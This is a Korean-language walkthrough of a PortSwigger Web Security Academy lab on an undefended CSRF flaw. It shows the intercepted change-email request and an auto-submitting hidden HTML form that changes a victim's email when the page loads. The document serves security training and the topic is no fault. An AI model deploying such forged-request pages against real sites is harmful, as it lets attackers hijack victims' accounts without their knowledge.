Portswigger's Lab 작성: 방어 장치가 없는 CSRF 취약점

견습생 수준의 이 실습에서는 이메일 변경 기능에 CSRF 취약점이 있는 사이트를 악용합니다.

로그인한 후 계정의 이메일을 '[email protected]'과 같은 것으로 업데이트하려고 하면 브라우저의 네트워크 탭 또는 Burpsuite Intercept에서 다음 요청을 볼 수 있습니다.

POST /my-account/change-email HTTP/1.1
Host: [0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net](<http://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/>)
Connection: keep-alive
Referer: [<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>](<https://0a9a0027047d6aaec1fa58be003b00b3.web-security-academy.net/my-account>)
Cookie: session=bQKVomOrYf95eVTuf4XKAw9zlJQDsUUK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1


다음과 같은 신체 구조:

[email protected]


여기서 우리는 이메일 업데이트 작업이 사용자에게 권한을 부여하기 위한 세션 쿠키와 이 작업을 실행하기 위한 이메일 매개 변수만 필요하다는 것을 식별할 수 있습니다. 읽기 자료의 CSRF용 HTML 템플릿을 사용하여 공격을 구축해 보겠습니다.

<html>
    <body>
        <form action="<https://vulnerable-website.com/email/change>" method="POST">
            <input type="hidden" name="email" value="[email protected]" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>


우리가 해야 할 일은 양식 구성 요소의 action 속성을 랩의 절대 이메일 업데이트 엔드포인트(이전에 수행한 POST 요청에서 볼 수 있음)로 바꾸고 이메일 입력의 value 속성을 피해자의 이메일에 원하는 값으로 바꾸는 것입니다. 다음으로 변경:

<html>
    <body>
        <form action="{LAB URL}/my-account/change-email" method="POST">
            <input type="hidden" name="email" value="[email protected]" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>


이것을 HTML 파일로 저장하면 누군가 우리 사이트를 방문할 때 페이지가 로드되는 즉시 위의 양식이 제출되고 이메일 업데이트가 요청됩니다(세션 쿠키 이후 사용자가 연구소 사이트에서 인증되는 한) 이메일 업데이트 작업을 수행하는 데 필요합니다). 랩을 해결하려면 익스플로잇 서버로 이동하여 HTML 코드를 저장하고 피해자에게 보내야 합니다.

Art Of Code에서 이 글을 확인하십시오: https://artofcode.tech/portswiggers-lab-write-up-csrf-vulnerability-with-no-defenses/
Github: https://github.com/christianpaez/portswigger/tree/main/labs/apprentice/csrf/csrf-vulnerability-with-no-defenses

좋은 웹페이지 즐겨찾기